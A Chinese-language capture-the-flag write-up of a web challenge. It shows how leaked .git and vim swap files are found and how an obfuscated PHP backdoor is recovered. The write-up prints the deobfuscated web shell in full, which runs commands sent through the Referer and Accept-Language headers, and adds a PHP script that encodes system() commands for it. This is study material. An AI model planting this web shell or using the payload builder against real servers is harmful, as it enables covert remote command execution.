i春秋 “百度杯”CTF比賽 十月場 web題 Backdoor
0x00:
打開題目,題目中告訴我們這題是文件泄露。
0x01:
通過掃描目錄,發現可以掃到的有3個文件
index.php
flag.php
robots.txt
但是瀏覽flag.php它告訴我們這不是真正的flag
又聯系到題目文件泄露,於是測試.swp .swo .bak等備份文件後綴均無果。最後發現是.git泄露。
我們瀏覽這個url
http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/.git/
註意到這裏返回的是403(請求被拒絕),而不是404(訪問無效)。那麽這裏就可以利用git泄露的腳本下載下來源文件。
這裏使用的是rip-git.pl這個腳本,github地址:https://github.com/kost/dvcs-ripper
註:這裏用rip-git.pl下載下來的文件是可以查看它上傳github的歷史記錄的。而Githack這個工具雖然能下載文件,但是不能查看歷史記錄
查看flag.php
查看flag.php的日誌
git log flag.php
可以看到他修改了很多次flag.php這個文件,我們回查一下上一次的修改時的內容
git diff 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88 flag.php
commit的值是test那次的值,可以看到在修改前是flag{true_flag_is_in_the_b4cko0r.php}
0x02:
上面那個flag還不是真正的flag,於是我們訪問flag提示的文件
http://6094ef7a9cad4288a4748de8ff8ffc573453e961300f46ce.game.ichunqiu.com/Challenges/b4ckdo0r.php
得到下面信息,查看源碼也啥都沒有:
最後測出來是.swo文件備份,我們把備份下載下來
因為打開是亂碼,我把它在下載好後,拖到我的kali虛擬機的桌面上,然後用vim打開備份文件的方式打開
vim -r .b4ckdo0r.php.swo
因為為了研究這個代碼,又沒法更改備份文件,我們用vim的復制功能把這裏面的內容復制到一個新的php文件裏面,然後放回我的windows下(因為我很喜歡用windows)
這個代碼是混淆過的,但主要看$y和$L和$v這3個變量,分別對應的是
$y = create_function //這裏去掉了字符串中的字母b
$L = 把上面的如 $c, $f等字符串變量中的“)m“給去掉
$v = create_function(‘‘, $L); 這裏是生成一個不帶參數的匿名函數,函數內容就是$L的內容。
然後運行$v()函數
根據這個邏輯解開混淆後$L的內容:
把內容打印到我們本地搭建的服務器上,然後查看源碼,並整理下就是b4ckdo0r.php源碼內容
註意:這裏一定要看源碼,因為中間有一部分"<"被當做html的標簽了,沒法完整顯示
web本來的頁面這裏的代碼很奇怪
查看源碼發現原因,是因為<被當做標簽起始了
整理後源碼如下:
<?php $kh="4f7f"; $kf="28d7"; function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0; $i<$l;) { for($j=0; ($j<$c&&$i<$l); $j++,$i++) { $o.=$t{$i}^$k{$j}; } } return $o; } $r=$_SERVER; $rr=@$r["HTTP_REFERER"]; $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; if($rr&&$ra) { $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); if($q&&$m) { @session_start(); $s=&$_SESSION; $ss="substr"; $sl="strtolower"; $i=$m[1][0].$m[1][1]; $h=$sl($ss(md5($i.$kh),0,3)); $f=$sl($ss(md5($i.$kf),0,3)); $p=""; for($z=1; $z<count($m[1]); $z++) $p.=$q[$m[2][$z]]; if(strpos($p,$h)===0) { $s[$i]=""; $p=$ss($p,3); } if(array_key_exists($i,$s)) { $s[$i].=$p; $e=strpos($s[$i],$f); if($e) { $k=$kh.$kf; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); @session_destroy(); } } } }
解釋一下這裏的代碼(因為我比較菜,通過每一步把變量輸出,最後弄清楚搞了3個小時左右)
x($t, $k)函數是個異或函數,第一個參數和第二個參數按位對應異或,如果第二個參數全部異或了一遍,第一個還沒結束,又從第二個參數頭部從頭開始。
$rr是通過http報頭的Referer參數傳入,我們可控
$rs是通過http報頭的accept-language參數傳入,我們可控
這裏先介紹下accpet-language吧,舉個栗子
這裏的zh-CN是默認語言,之後每個值以“,(逗號)”隔開,格式為“ 語言;q=權重 ”
那麽preg_match_all這個正則所做的事,看著很復雜,我們直接把他輸出到自己服務器的web上吧
是一個二維數組,然後$i會取[1][0]和[1][1]的組合值
$h和f分別是 ($i . $kh)和($i . $kf)的md5值的前3個字符這裏算出來是675和a3e
這一段代碼會看language的語言有多少個,然後$p是以權重的小數部分值為下標,然後取Referer的url中的對應下標的參數的值的組合
這裏舉個例子,a=1中的1 就是$q[$m[2][0]],b=2中的2 就是$q[$m[2][1]]
然後就是判斷$p這個變量前3個是不是675,後3個是不是a3e,最後我們的構造為 "675 + payload + a3e"
然後就是傳到eval函數裏面了,這裏我們要通過eval函數來讀目錄,然後查看flag
eval中用了很多編碼方式,也用到了自定的x($t, $k)這個異或函數,我們依次測試下順序,就能正確的生成我們的payload,來構造system("ls");
這裏異或的規律
a = b ^ c那麽 b = a ^ c;這是一個很簡單的規律,所以x函數即使編碼函數,也是解碼函數
最後附上我生成payload和解碼返回值的內容的php代碼
<?php function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0; $i<$l;) { for($j=0; ($j<$c&&$i<$l); $j++,$i++) { $o.= $t{$i} ^ $k{$j}; } } return $o; } function get_answer($str){ $str = base64_decode($str); $str = x($str, ‘4f7f28d7‘); $str = gzuncompress($str); echo $str . "<br>"; } function input($cmd){ $str = ‘system("‘ . $cmd . ‘");‘; $t1 = gzcompress($str); echo ‘$t1 = ‘ . $t1 . "<br>"; $t2 = x($t1, ‘4f7f28d7‘); echo ‘$t2 = ‘ . $t2 . "<br>"; $t3 = base64_encode($t2); echo ‘$t3 = ‘ . $t3 . "<br>"; return $t3; } $ra=‘zh-CN,zh;q=0.0‘; input(‘ls‘); //get_answer(‘‘); ?>
把命令輸入input裏面,運行這個php腳本就會生成ls命令的payload,而我們accep-language所填內容為 ‘zh-CN,zh;q=0.0‘
於是我們第一次的payload為:
將返回內容填到我們的腳本中,生成解碼後的內容
然後生成cat this_i5_flag.php的payload,最後flag在源碼中
註:這裏我審計代碼的時候是采用比較笨的方法,因為源碼我們下載了下來,那麽我麽就可以任意修改,我是把每個地方有值的變化,就直接輸出出來,方便更加透徹的理解流程。
i春秋 “百度杯”CTF比賽 十月場 web題 Backdoor